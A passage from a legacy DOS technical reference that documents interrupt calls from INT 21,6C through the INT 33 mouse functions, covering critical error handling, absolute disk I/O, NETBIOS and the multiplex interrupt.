      - does not work on network drives (returns 01)
      - returned buffer (after offset 2) is similar to offsets 27 through
        3D of the Extended BPB found in the boot record

      - see  ~INT 21,59~
:int 21,6c
^INT 21,6C - Extended Open/Create  (DOS 4.x+)

      AH = 6C
      AL = 00
      BX = open mode (see below)
      CX = file attribute (see ~FILE ATTRIBUTES~, bits 15-8 are zero)
      DX = function control indicator (see below)
      DS:SI = ASCIIZ filespec


      returns:
      AX = handle if CF clear
         = error code if CF set  (see ~DOS ERROR CODES~)
      CX = 01  file opened
         = 02  file created and opened
         = 03  file truncated and opened (replaced)
      CF = 0 if successful
         = 1 if error


%     Open Mode in BX:

      ³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³  BX  (Open Mode)
```

```
 ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ read/write access mode
 ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ reserve (must be 0)
 ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ sharing mode
 ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = private, 0 = inheritable
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ reserved
 ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 0 = call INT 24, 1 = ignore INT 24
 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 0 = normal write, 1 = flush each write
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ reserved

%     Read/Write Access bits:     Sharing Mode bits:
%     210                     654
      000  read access        000  compatibility mode
      001  write access       001  read/write access
      010  read/write access       010  write access denied
                              011  read access denied
                              100  full access

%     Function Control Indicator in DX:

      ³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³  DX  (Function Control)
       ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ file existence behavior
       ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ creation behavior
       ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ reserved

%     File Existence Behavior bits:
%     3210
      0000  if file exist, generate error, take no action
      0001  if file exists, open file
      0010  if file exists, truncate and open


%     Creation Behavior bits:
%     7654
      0000  if file does not exist, generate error, take no action
      0001  if file does not exist, create


:int 21,f8
^INT 21,F8 - Set OEM Int 21 Handler (functions F9-FF, Undocumented)


      AH = F8
      DS:DX = pointer to OEM handler for INT 21H calls F9 through FF
            = FFFF:FFFF to reset to original handlers


      - DOS is set up to allow ONE handler for all 7 function calls.
        Any call to these handlers will set the CF and AX
        will contain 1 if they are not initialized.  The handling
        routine is passed all registers just as the user set them.
        The handler should exit with an ~IRET~.
:int 22
^INT 22 - Program Terminate


      no input data


      - not an interrupt, but a vector to the terminate address
      - copied to ~PSP~ offset 0Ah during program load
      - do not execute this interrupt directly
:int 23:ctrl-c
^INT 23 - Control-Break Exit Address
```

```
        no input data

        - not an interrupt but a pointer to a routine that is called when a
          DOS function detects a ~Ctrl-Break~ or Ctrl-C has been pressed
          resulting in a "Break condition"
        - a Break condition is detected if DOS's internal Break flag is
          found set by ~INT 1B~ or the next word in the BIOS keyboard buffer
          is a scan code representing one of the Break key combinations.
          If a matching scan code is found, the keyboard buffer head pointer
          is incremented by 2 (which effectively removes the ^C keycode), the
          ^C is printed and then INT 23 is called.
        - disabling the abort is easy, but to disable the ^C from appearing
          you must either not use any of the DOS I/O functions that check
          for Break or you must trap the Ctrl-C keypress from within INT 9.
          Another method is to scan the BIOS keyboard buffer and delete any
          Break key combinations.
        - Ctrl-Break empties the keyboard buffer by resetting the keyboard
          head and tail pointers then places a 0000h at the queue head.  It
          then sets an internal "Break" flag.  DOS subfunctions that check
          for Break see this and then issue INT 23h.  DOS does not detect
          INT 1B using the keyboard buffer, but uses it's own internal flag.
        - Alt-Keypad-3 and Ctrl-2 also result in this interrupt
        - Ctrl-C places 2E03h in the BIOS keyboard buffer while Ctrl-2
          places 0300h and Alt-Keypad-3 places 0003h;  none of these key
          combinations empty the keyboard like Ctrl-Break but all result
          in a ^C being displayed;  note that all three produce scan codes
          containing '03'
        - since DOS checks only the first word of the keyboard buffer
          Ctrl-C, Ctrl-2 and Alt-Keypad-3 are only detected if they are the
          first word in the buffer while Ctrl-Break is detected via the
          internal flag and takes effect as soon as it's detected.
        - do not execute this interrupt directly
        - see also   ~INT 9~
:int 24:critical error handler
^INT 24 - Critical Error Handler

        no input data

        on entry to INT 24:
        AH = bit 7 of register AH is set to one if other than disk error
           = bit 7 of register AH is set to zero if disk error
             AL = failing drive number
             AH = bits 0-2 indicate affected disk area and read/write status

                ³5³4³3³2³1³0³  AH
                 ³ ³ ³ ³ ³ ÀÄÄÄÄ read = 0, write = 1
                 ³ ³ ³ ÀÄÄÄÄÄÄÄ 00=DOS, 01=FAT, 10=DIR, 11=data area
                 ³ ³ ÀÄÄÄÄÄÄÄÄÄ 0=FAIL not allowed, 1=FAIL allowed
                 ³ ÀÄÄÄÄÄÄÄÄÄÄ 0=RETRY not allowed, 1=RETRY allowed
                 ÀÄÄÄÄÄÄÄÄÄÄÄ 0=IGNORE not allowed, 1=IGNORE allowed

        DI = error code in lower byte
        BP:SI = pointer to device header control block where additional
              information about the error can be found


        on exit:
        AL = action code determining exit behavior
           = 00  ignore error
           = 01  retry
           = 02  terminate through ~INT 23~
           = 03  fail system call (DOS 3.x+)
```

```
%     Error Codes in low order byte of DI:

        00  write protect error
        01  unknown unit
        02  drive not ready
        03  unknown command
        04  data error (bad CRC)
        05  bad request structure length
        06  seek error
        07  unknown media type
        08  sector not found
        09  printer out of paper
        0A  write fault
        0B  read fault
        0C  general failure

%     Users Stack at Entry to Error Handler:

      (top of stack)
          IP             DOS code next instruction pointer
          CS
          FLAGS      DOS's flags
          AX -\
          BX       \
          CX        \
          DX         \
          SI          |- User's registers at entry to INT 21 function
          DI         /
          BP        /
          DS       /
          ES -/
          IP             User code next instruction pointer
          CS
          FLAGS

      - on entry registers are setup for a retry operation
      - user routine must issue an IRET or simulate an IRET
      - ~INT 21,0~ through ~INT 21,C~ and ~INT 21,59~ can safely be invoked
        from the handler.  Other calls may destroy DOS's stack
      - handler must preserve register SS,SP,DS,ES,BX,CX,DX
      - choosing ignore can show side effects, since it causes DOS
        to continue as if it the call were successful
      - if an improper action code is specified in DOS 3.x it is changed:
        if IGNORE is invalidly specified, action is converted to FAIL
        if RETRY is invalidly specified, action is converted to FAIL
        if FAIL is invalidly specified, action is converted to ABORT
      - IGNORE requests are converted to FAIL for ~FAT~ and ~DIR~ disk
        errors and network critical errors
      - if the user routine wishes to handle the error instead of passing
        it to DOS, it must restore the user program registers from the
        stack and remove all but the last 3 words from the stack (FLAGS,
        CS, IP) and issue an ~IRET~
      - do not execute this interrupt directly
      - ~INDOS~ flag is cleared on INT 24 (see ~INT 21,34~)
:int 25
^INT 25 - Absolute Disk Read

      AL = logical drive number (0=A:, 1=B:, 2=C:, ...)
      CX = number of sectors to read
         = -1 if DOS 4.x (control block pointer is in DS:BX)
      DX = starting logical sector number (see below for DOS 4.x+)
```

```
      DS:BX = pointer to data buffer
            = pointer to control block (DOS 4.x+, see below)

      on return:
      AH = error code if CF set:
           01  bad command
           02  bad address mark
           03  write protect
           04  sector not found
           08  DMA failure
           10  data error (bad CRC)
           20  controller failed
           40  seek failed
           80  attachment failed to respond
      AL = BIOS error code if CF set
           00  write protect error
           01  unknown unit
           02  drive not ready
           03  unknown command
           04  data error (bad CRC)
           05  bad request structure length
           06  seek error
           07  unknown media type
           08  sector not found
           0A  write fault
           0B  read fault
           0C  general failure

^Control Block Format (DOS 4.x):

%     Offset Size    Description

        00   dword  starting sector
        04   word   number of sectors to read
        06   dword  pointer to buffer


      - reads disk sectors into buffer at DS:BX or DS:[BX+6]
      - after calling this interrupt the flags register remains on the
        stack and must be popped manually
      - sectors are logical sectors starting at the beginning of a
        logical disk; each DOS partition on a drive unit is considered
        one logical drive and has it's own logical sector numbers with
        track 0 starting at the first track in the partition
      - this function uses logical drives, and is susceptible to ASSIGN
      - physical sector numbers can be converted to and from DOS sector
        numbers with the following formulas:

        dos_sector = (sector - 1) + (head * sectors_per_track) +
                    (track * sectors_per_track * num_heads)

        physical_sector = 1 + (dos_sector  MOD  sectors_per_track)
        physical_head = (dos_sector / sectors_per_track)  MOD  num_heads
        physical_track = dos_sector / (sectors_per_track * num_heads)

      - see ~INT 13,STATUS~
:int 26
^INT 26 - Absolute Disk Write

      AL = logical drive number (0=A:, 1=B:, 2=C:, ...)
      CX = number of sectors to write
         = -1 if DOS 4.x (control block pointer is in DS:BX)
      DX = starting logical sector number (see below for DOS 4.x+)
```

```
      DS:BX = pointer to data buffer
            = pointer to control block (DOS 4.x+, see below)

      on return:
      AH = error code if CF set:
           01  bad command
           02  bad address mark
           03  write protect
           04  sector not found
           08  DMA failure
           10  data error (bad CRC)
           20  controller failed
           40  seek failed
           80  attachment failed to respond
      AL = BIOS error code if CF set
           00  write protect error
           01  unknown unit
           02  drive not ready
           03  unknown command
           04  data error (bad CRC)
           05  bad request structure length
           06  seek error
           07  unknown media type
           08  sector not found
           0A  write fault
           0B  read fault
           0C  general failure

^Control Block Format (DOS 4.x):

%     Offset Size  Description

        00   dword  starting sector
        04   word   number of sectors to write
        06   dword  pointer to buffer


      - writes disk sectors from buffer at DS:BX or DS:[BX+6]
      - after calling this interrupt the flags register remains on the
        stack and must be popped manually
      - sectors are logical sectors starting at the beginning of a
        logical disk; each DOS partition on a drive unit is considered
        one logical drive and has it's own logical sector numbers with
        track 0 starting at the first track in the partition
      - this function uses logical drives, and is susceptible to ASSIGN
      - physical sector numbers can be converted to and from DOS sector
        numbers with the following formulas:

        dos_sector = (sector - 1) + (head * sectors_per_track) +
                   (track * sectors_per_track * num_heads)

        physical_sector = 1 + (dos_sector  MOD  sectors_per_track)
        physical_head = (dos_sector / sectors_per_track)  MOD  num_heads
        physical_track = dos_sector / (sectors_per_track * num_heads)

      - see ~INT 13,STATUS~
:int 27
^INT 27 - Terminate and Stay Resident


      DX = offset of last byte in program to remain resident plus 1
      CS = segment of ~PSP~
```

```
	returns nothing


	- terminates process without closing open files
	- memory beyond the offset in DX is freed


	- see ~INT 21,31~

:int 28:DOS scheduler
^INT 28 - DOS Idle Loop / Scheduler  (Undocumented)




	- issued by DOS during keyboard poll loop
	- indicates DOS may be carefully re-entered by TSR
	- used by TSR programs to popup and make DOS disk I/O calls
	- supported by OS/2 compatibility box
	- default behavior is to simply perform an ~IRET~
	- any DOS functions above 0Ch may be called while in this handler
	- ~INT 21,3F~ and ~INT 21,40~ may not use a handle that refers to
	  CON while in this handler
	- see also  ~INDOS~
:int 29
^INT 29 - DOS Fast Character I/O  (Undocumented 2.x+)


	AL = character to write


	returns nothing ???


	- used by DOS device drivers to output data to the screen if
	  bit 4 of the device attribute word is set
	- similar to ~INT 21,2~ and ~INT 21,9~ but much faster
	- simply calls the BIOS ~INT 10,E~ in DOS versions 2.x and 3.x
	- advances the cursor after character output
:int 2a
^INT 2A - DOS Network Critical Section and NETBIOS

%	For more information see the following topics:

	 ~INT 2A,0~  Network installation query
	 ~INT 2A,1~  Execute NETBIOS request with no error retry
	 INT 2A,2  Set network printer mode (not listed)
	 ~INT 2A,3~  Check if direct I/O allowed
	 ~INT 2A,4~  Execute NETBIOS request
	 ~INT 2A,5~  Get network resource information
	 ~INT 2A,6~  Network print stream control
	~INT 2A,80~  Begin DOS critical section
	~INT 2A,81~  End DOS critical section
	~INT 2A,82~  End DOS critical sections 0 through 7
	~INT 2A,84~  Keyboard busy loop
	~INT 2A,87~  Critical section

	- functions requests are supplied in AH
:int 2a,0
^INT 2A,0 - Network Installation Query
```

```
	AH = 00


	on return:
	AH = zero if not installed
	   = nonzero if installed


	- used to detemine if a Microsoft compatible network is present
:int 2a,1
^INT 2A,1 - Execute NETBIOS Request With No Error Retry


	AH = 01
	ES:BX = pointer to Network Control Block


	on return:
	AL = NETBIOS error code
	AH = zero if success
	   = nonzero if error


	- similar to INT 5C
:int 2a,3
^INT 2A,3 - Check if Direct I/O Allowed


	AH = 03
	DS:SI = pointer to ASCIIZ disk device name or pathname (including ":")


	on return:
	CF = set if disk access is NOT allowed
	   = clear if disk access is allowed


	- do not use ~INT 13~, ~INT 25~ or ~INT 26~ if this function returns
	  with the CF set
	- see  ~INT 5F,2~
:int 2a,4
^INT 2A,4 - Execute NETBIOS Request


	AH = 04
	AL = 00  allow retry
	   = 01  no retry allowed
	ES:BX = pointer to Network Control Block (NCB)


	on return:
	AX = 00 if successful
	AH = 01 if error
	AL = error code if AH = 01


	- invokes NETBIOS handler and allows retry of operation if specified
:int 2a,5
^INT 2A,5 - Get Network Resource Information


	AX = 0500
```

```
      on return:
      AX = destroyed
      BX = number of available network names
      CX = number of available NCB commands
      DX = number of available sessions


      - returns information on the number of available network resources
:int 2a,6
^INT 2A,6 - Network Print Stream Control


      AH = 06
      AL = 01 set concatenation mode where all printer output is placed
            in one job
         = 02 set truncation mode where each printer open and printer
            close starts a new job
         = 03 flush printer output then start a new print job (similar to
            pressing Ctrl-Alt-Kp-* )


      on return:
      AX = error code if CF set


      - allows control of network printers
:int 2a,80
^INT 2A,80 - Begin DOS Critical Section

      AH = 80h
      AL = critical section identifier (00-0F)
         = 01  DOS kernel, SHARE.EXE and network data structure integrity
         = 02  DOS kernel, device driver exclusivity
         = 05  IFSFUNC (Installable File System, IFS, DOS 4.0+)
         = 06  IFSFUNC (Installable File System, IFS, DOS 4.0+)
         = 08  ASSIGN.COM

      returns nothing


      - indicates that the region of code being entered should not be
        interrupted and identifies the critical region
      - this function is not normally called by user applications but is
        often hooked to monitor if DOS is in a critical section
      - this information is necessary to reenter DOS using the swappable
        data area returned by ~INT 21,5D~ subfunction 0B
      - see  ~Bibliography~ reference to "Undocumented DOS"
:int 2a,81
^INT 2A,81 - End DOS Critical Section

      AH = 81h
      AL = critical section identifier (00-0F)
         = 01  DOS kernel, SHARE.EXE and network data structure integrity
         = 02  DOS kernel, device driver exclusivity
         = 05  IFSFUNC (Installable File System, IFS, DOS 4.0+)
         = 06  IFSFUNC (Installable File System, IFS, DOS 4.0+)
         = 08  ASSIGN.COM


      returns nothing
```

```
      - indicates that a critical code section is being exited
      - this function is usually hooked rather then called directly from a
        user application
      - see  ~Bibliography" reference to "Undocumented DOS"
:int 2a,82
^INT 2A,82 - End DOS Critical Sections 0 thru 7


      AH = 82h


      returns nothing


      - the DOS function dispatcher calls this function during DOS
        function 00, functions above 0C (excluding function 59h) and
        during process termination
      - this function is usually hooked rather then called directly from
        a user application
      - see  ~Bibliography~ reference to "Undocumented DOS"
:int 2a,84
^INT 2A,84 - Keyboard Busy Loop


      AH = 84h


      returns nothing


      - allows other processes to continue while waiting for keyboard
        input, similar to ~INT 28~
      - see  BIBLIO reference to "Undocumented DOS"
:int 2a,87
^INT 2A,87 - Critical Section


      AH = 87h
      AL = 00  start critical section
         = 01  end critical section


      returns nothing


      - specifies the start or end of a critical section
      - called by PRINT.COM
      - see  ~Bibliography~ reference to "Undocumented DOS"
:int 2e
^INT 2E - Execute Command Using Base Level Command Interpreter
^(Undocumented DOS 2.0+)

      DS:SI = pointer to command string to be executed

      returns nothing ???

      - causes the base level COMMAND.COM to execute a command as if it
        were typed from the keyboard
      - the transient portion of COMMAND.COM must be loaded if not resident
      - first byte of the string contains the string length, inclusive
      - command string must be terminated with a CR
      - all registers including SS & SP are destroyed;  SS & SP should be
        preserved in your own code segment
```

```
      - can be used to modify parents environment with SET command
      - incompatible under some software multitasking systems
      - before returning to the parent program this interrupt will
        attempt to execute the "current" batch file (if the parent or
        any ancestors were invoked from a batch file.   This can cause
        remaining lines in a batch file to execute before the parent
        program finishes and fragment memory
:int 2f:multiplex interrupt
^INT 2F - DOS Multiplex Interrupt

%     For more information see the following topics:

                                 ÚÄÄÄÄÄÄ ERROR CODES ÄÄÄÄ
      ~INT 2F,0~  Get installed state         ³ 01    Invalid function
      ~INT 2F,1~  Submit file           ³ 02    File not found
      ~INT 2F,2~  Cancel file           ³ 03    Path not found
      ~INT 2F,3~  Cancel all files      ³ 04    Too many files
      ~INT 2F,4~  Pause / return status      ³ 05    Access denied
      ~INT 2F,5~  End of status         ³ 08    Queue full
      ~INT 2F,8~  DRIVER.SYS support          ³ 09    Busy
      ~INT 2F,2E~ Error Translation Tables   ³ 0C    Name too long
                                 ³ 0F    Invalid drive

      - function request is specified in AL or AH
      - see  ~INT 2F,0~  for installation checks
      - INT 2F uses AL to specify most documented functions but occasionally
        uses AH also.  This can be quite confusing so INT 2F functions using
        AH are not currently listed if the conflict but will be added at a
        later time.
:int 2f,0
^INT 2F,0 - DOS Multiplex Interrupt - Get Installed State

      AL = 00
      AH = 00  DOS 2.x PRINT.COM (undocumented, see note below)
           01  PRINT    (undocumented behavior also, see note below)
           05  Critical error handler (undocumented DOS 3.0+)
           06  ASSIGN  (see note)
           08  DRIVER.SYS (undocumented DOS 3.2+)
           10  SHARE
           11  Redirector/IFS is resident
           12  MultiDOS is resident
           13  Swap 13h and 19h
           14  NLSFUNC
           15  GRAPHICS.COM (see note below)
             MS CD-ROM extension (MSCDEX) (see note below)
           16  Windows 386
           17  DOS shell
           19  SHELLB.COM (DOS 4.0 only)
           1A  ANSI.SYS (DOS 4.0+)
           1B  XMA2EMS.SYS
           40  OS/2 compatibility box
           43  Himem XMS driver
           7A  Novell Netware IPX
           AD  DISPLAY.SYS internal (DOS 3.3+)
           AE  DOS installable command extension (DOS 3.3+)
           B0  GRAFTABL.COM (DOS 3.3+)
           B4  IBM 3270 emulation
           B7  APPEND  (DOS 3.3+)
           B8  LAN existence
           B9  LAN RECEIVER.COM
           BF  LAN REDIRIFS.EXE
           C0-FF reserved for user applications
```

```
      on return:
      AL = 00  not installed, ok to install
         = 01  not installed, do NOT install
         = FF  installed


      - the installed test for append returns non-zero if installed;
        zero if not installed
      - AH = 00 and 01 are used by DOS 2.x PRINT.COM and is not a check
        for installed state, see BIBLIO reference to "Undocumented DOS"
      - ASSIGN returns non-zero if installed
      - installation checks with AH=15 do not follow the standard format;
      - see  ~Bibliography~ reference to "Undocumented DOS"
:int 2f,1:DOS multiplex
^INT 2F,1 - Multiplex Interrupt - Submit file


      AL = 01
      AH = 01  resident portion of PRINT
           02  resident portion of ASSIGN
           06  get pointer to ASSIGN drive translation table (undoc DOS 3+)
           10  resident portion of SHARE
           B7  resident portion of APPEND
           C0-FF reserved for user applications
      DS:DX = pointer to a 5 byte packet containing an priority byte
            and a DWORD pointer to an ASCIIZ filename
      DS:DI

      on return:
      ES = segment of ASSIGN work area and assignment table (AH=6 only)

:int 2f,2
^INT 2F,2 - Multiplex Interrupt - Cancel file


      AL = 02
      AH = 01  resident portion of PRINT
           02  resident portion of ASSIGN
           10  resident portion of SHARE
           B7  resident portion of APPEND
           C0-FF reserved for user applications
      DS:DX = pointer to ASCIIZ filename to cancel


      returns nothing


      - accepts wildcards

:int 2f,3
^INT 2F,3 - Multiplex Interrupt - Cancel all files


      AL = 03
      AH = 01  resident portion of PRINT
           02  resident portion of ASSIGN
           10  resident portion of SHARE
           B7  resident portion of APPEND
           C0-FF reserved for user applications


      returns nothing
```

```
:int 2f,4
^INT 2F,4 - Multiplex Interrupt - Pause / return status


      AL = 04
      AH = 01  resident portion of PRINT
           02  resident portion of ASSIGN
           10  resident portion of SHARE
           B7  resident portion of APPEND
           C0-FF reserved for user applications


      on return:
      DX = error count
      DS:SI = pointer to queue of files


      - each file in the queue is represented by 64 byte filename
      - the file currently being printed is the first entry in the queue
      - the last entry in the queue is a null string

:int 2f,5
^INT 2F,5 - Multiplex Interrupt - End of Status


      AL = 05
      AH = 01  resident portion of PRINT
           02  resident portion of ASSIGN
           10  resident portion of SHARE
           B7  resident portion of APPEND
           C0-FF reserved for user applications


      on return:
      AH = error code  (see ~INT 2F~)

:int 2f,6
^INT 2F,6 - PRINT.COM Check for Error on Output Device (Undocumented)


      AL = 06
      AH = 01


      on return:
      AX = error code if CF set
         = 00 on success
      DS:SI = device driver header if CF set


      - checks the output device for an error condition
      - undocumented, available since DOS 3.3+
:int 2f,8
^INT 2F,8 - DRIVER.SYS Support     (Undocumented DOS 3.2+)


      AH = 08
      AL = 00  installation check
         = 01  add new block device
         = 02  execute device driver request
         = 03  get drive data table list (DOS 4.0+)
      DS:DI = pointer to drive data table  (AL=01)
```

```
      ES:BX = pointer to device driver request header (AL=02)


      on return:
      AL = 00  not installed, ok to install (AL=00)
         = 01  not installed, do NOT install (AL=00)
         = FF  installed (AL=00)
      ES:BX = updated device request header (AL=02)

      - function 01 scans DOS's drive data tables and appends the new
        data table to to the chain.  All tables referencing the same
        physical drive are updated

:int 2f,2e
^INT 2F,2E - Setup Error Code Translation Tables  (undoc. DOS 4.x+)


      - discovered in DOS 4.x by Jim Kyle, this function provides more
        detailed information on the pending critical error.

:int 2f,80
^INT 2F,80 - PRINT.COM Time Slice Allotment  (Undocumented DOS 3.1+)

      AL = 80h
      AH = 00


      returns nothing


      - DOS PRINT.COM is given a time slice
:int 33:mouse interrupt:mouse services
^INT 33 - Mouse Function Calls

%     For more information see the following topics:

      ~INT 33,0~   Mouse Reset/Get Mouse Installed Flag
      ~INT 33,1~   Show Mouse Cursor
      ~INT 33,2~   Hide Mouse Cursor
      ~INT 33,3~   Get Mouse Position and Button Status
      ~INT 33,4~   Set Mouse Cursor Position
      ~INT 33,5~   Get Mouse Button Press Information
      ~INT 33,6~   Get Mouse Button Release Information
      ~INT 33,7~   Set Mouse Horizontal Min/Max Position
      ~INT 33,8~   Set Mouse Vertical Min/Max Position
      ~INT 33,9~   Set Mouse Graphics Cursor
      ~INT 33,A~   Set Mouse Text Cursor
      ~INT 33,B~   Read Mouse Motion Counters
      ~INT 33,C~   Set Mouse User Defined Subroutine and Input Mask
      ~INT 33,D~   Mouse Light Pen Emulation On
      ~INT 33,E~   Mouse Light Pen Emulation Off
      ~INT 33,F~   Set Mouse Mickey Pixel Ratio
      ~INT 33,10~  Mouse Conditional OFF
      ~INT 33,13~  Set Mouse Double Speed Threshold
      ~INT 33,14~  Swap interrupt subroutines
      ~INT 33,15~  Get mouse driver state and memory requirements
      ~INT 33,16~  Save mouse driver state
      ~INT 33,17~  Restore mouse driver state
      ~INT 33,18~  Set alternate subroutine call mask and address
      ~INT 33,19~  Get user alternate interrupt address
      ~INT 33,1A~  Set mouse sensitivity
      ~INT 33,1B~  Get mouse sensitivity
      ~INT 33,1C~  Set mouse interrupt rate (InPort only)
```

```
        ~INT 33,1D~  Set mouse CRT page
        ~INT 33,1E~  Get mouse CRT page
        ~INT 33,1F~  Disable mouse driver
        ~INT 33,20~  Enable mouse driver
        ~INT 33,21~  Reset mouse software
        ~INT 33,22~  Set language for messages
        ~INT 33,23~  Get language number
        ~INT 33,24~  Get driver version, mouse type & ~IRQ~ number

        - function is specified in AX
        - a mickey is 1/200 inches
        - for additional information see your vendor documentation
        - function number occupies all of AX rather than AH


^Mouse functions can be broken down into the following classes:

%       Mouse Driver Control / Feedback Functions
        ~INT 33,0~   Mouse Reset/Get Mouse Installed Flag
        ~INT 33,15~  Get Mouse Driver State and Memory Requirements
        ~INT 33,16~  Save Mouse Driver State
        ~INT 33,17~  Restore Mouse Driver State
        ~INT 33,1C~  Set Mouse Interrupt Rate (InPort only)
        ~INT 33,1F~  Disable Mouse Driver
        ~INT 33,20~  Enable Mouse Driver
        ~INT 33,21~  Reset Mouse Software
        ~INT 33,24~  Get Driver Version, Mouse Type & IRQ Number

%       Mouse Cursor Control Functions
        ~INT 33,1~   Show Mouse Cursor
        ~INT 33,2~   Hide Mouse Cursor
        ~INT 33,4~   Set Mouse Cursor Position
        ~INT 33,7~   Set Mouse Horizontal Min/Max Position
        ~INT 33,8~   Set Mouse Vertical Min/Max Position
        ~INT 33,9~   Set Mouse Graphics Cursor
        ~INT 33,A~   Set Mouse Text Cursor
        ~INT 33,F~   Set Mouse Mickey Pixel Ratio
        ~INT 33,10~  Mouse Conditional OFF
        ~INT 33,13~  Set Mouse Double Speed Threshold
        ~INT 33,1A~  Set Mouse Sensitivity
        ~INT 33,1B~  Get Mouse Sensitivity

%       Mouse Button and Position Feedback Functions
        ~INT 33,3~   Get Mouse Position and Button Status
        ~INT 33,5~   Get Mouse Button Press Information
        ~INT 33,6~   Get Mouse Button Release Information
        ~INT 33,B~   Read Mouse Motion Counters

%       Video Control and Feedback Functions
        ~INT 33,1D~  Set Mouse CRT Page
        ~INT 33,1E~  Get Mouse CRT Page

%       Mouse Interrupt Setup Functions
        ~INT 33,C~   Set Mouse User Defined Subroutine and Input Mask
        ~INT 33,14~  Swap Interrupt Subroutines

%       Alternate Mouse Interrupt Setup Functions
        ~INT 33,18~  Set Alternate Subroutine Call Mask and Address
        ~INT 33,19~  Get User Alternate Interrupt Address

%       Light Pen Emulation Functions
        ~INT 33,D~   Mouse Light Pen Emulation On
        ~INT 33,E~   Mouse Light Pen Emulation Off
```

```
%     International Language Support Functions
      ~INT 33,22~  Set Language for Messages
      ~INT 33,23~  Get Language Number

:int 33,0
^INT 33,0 - Mouse Reset/Get Mouse Installed Flag

      AX = 00


      on return:
      AX = 0000  mouse driver not installed
           FFFF  mouse driver installed
      BX = number of buttons


      - resets mouse to default driver values:

        .  mouse is positioned to screen center
        .  mouse cursor is reset and hidden
        .  no interrupts are enabled (mask = 0)
        .  double speed threshold set to 64 mickeys per second
        .  horizontal mickey to pixel ratio (8 to 8)
        .  vertical mickey to pixel ratio (16 to 8)
        .  max width and height are set to maximum for video mode
:int 33,1
^INT 33,1 - Show Mouse Cursor


      AX = 01


      returns nothing


      - increments the cursor flag;  the cursor is displayed if flag
        is zero;  default flag value is -1

:int 33,2
^INT 33,2 - Hide Mouse Cursor


      AX = 02


      returns nothing


      - decrements cursor flag; hides cursor if flag is not zero

:int 33,3
^INT 33,3 - Get Mouse Position and Button Status


      AX = 03


      on return:
      CX = horizontal (X) position  (0..639)
      DX = vertical (Y) position  (0..199)
      BX = button status:
```

```
        ³F-8³7³6³5³4³3³2³1³0³  Button Status
          ³  ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ left button (1 = pressed)
          ³  ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ right button (1 = pressed)
          ÀÄÄÄÁÄÄÁÄÄÁÄÄÁÄÄÁÄÄÄÄÄÄ unused
```

- values returned in CX, DX are the same regardless of video mode

:int 33,4
^INT 33,4 - Set Mouse Cursor Position

AX = 4
CX = horizontal position
DX = vertical position

returns nothing

- default cursor position is at the screen center
- the position must be within the range of the current video mode
- the position may be rounded to fit screen mode resolution

:int 33,5
^INT 33,5 - Get Mouse Button Press Information

```
AX = 5
BX = 0      left button
     1      right button
```

on return:
BX = count of button presses (0-32767), set to zero after call
CX = horizontal position at last press
DX = vertical position at last press
AX = status:

```
        ³F-8³7³6³5³4³3³2³1³0³  Button Status
          ³  ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ left button (1 = pressed)
          ³  ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ right button (1 = pressed)
          ÀÄÄÄÁÄÄÁÄÄÁÄÄÁÄÄÁÄÄÄÄÄÄ unused
```

:int 33,6
^INT 33,6 - Get Mouse Button Release Information

```
AX = 6
BX = 0      left button
     1      right button
```

on return:
BX = count of button releases (0-32767), set to zero after call
CX = horizontal position at last release
DX = vertical position at last release
AX = status

```
        ³F-8³7³6³5³4³3³2³1³0³  Button status
          ³  ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ left button (1 = pressed)
          ³  ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ right button (1 = pressed)
          ÀÄÄÄÁÄÄÁÄÄÁÄÄÁÄÄÁÄÄÄÄÄÄ unused
```

```
:int 33,7
^INT 33,7 - Set Mouse Horizontal Min/Max Position


      AX = 7
      CX = minimum horizontal position
      DX = maximum horizontal position


      returns nothing


      - restricts mouse horizontal movement to window
      - if min value is greater than max value they are swapped

:int 33,8
^INT 33,8 - Set Mouse Vertical Min/Max Position


      AX = 8
      CX = minimum vertical position
      DX = maximum vertical position


      returns nothing


      - restricts mouse vertical movement to window
      - if min value is greater than max value they are swapped

:int 33,9
^INT 33,9 - Set Mouse Graphics Cursor


      AX = 9
      BX = horizontal hot spot (-16 to 16)
      CX = vertical hot spot (-16 to 16)
      ES:DX = pointer to screen and cursor masks (16 byte bitmap)


      returns nothing


      - screen mask is AND'ed to screen Cursor Mask is XOR'ed
      - bytes 0-7 form the screen mask bitmap
      - bytes 8-F form the cursor mask bitmap

:int 33,a
^INT 33,A - Set Mouse Text Cursor


      AX = 0A
      BX = 00  software cursor
           01  hardware cursor
      CX = start of screen mask or hardware cursor scan line
      DX = end of screen mask or hardware cursor scan line


      returns nothing

:int 33,b
^INT 33,B - Read Mouse Motion Counters
```

```
        AX = 0B


        on return:
        CX = horizontal mickey count (-32768 to 32767)
        DX = vertical mickey count (-32768 to 32767)


        - count values are 1/200 inch intervals (1/200 in. = 1 mickey)

:int 33,c
^INT 33,C - Set Mouse User Defined Subroutine and Input Mask

        AX = 0C
        ES:DX = far pointer to user interrupt
        CX = user interrupt mask:

           ³F-5³4³3³2³1³0³ user interrupt mask in CX
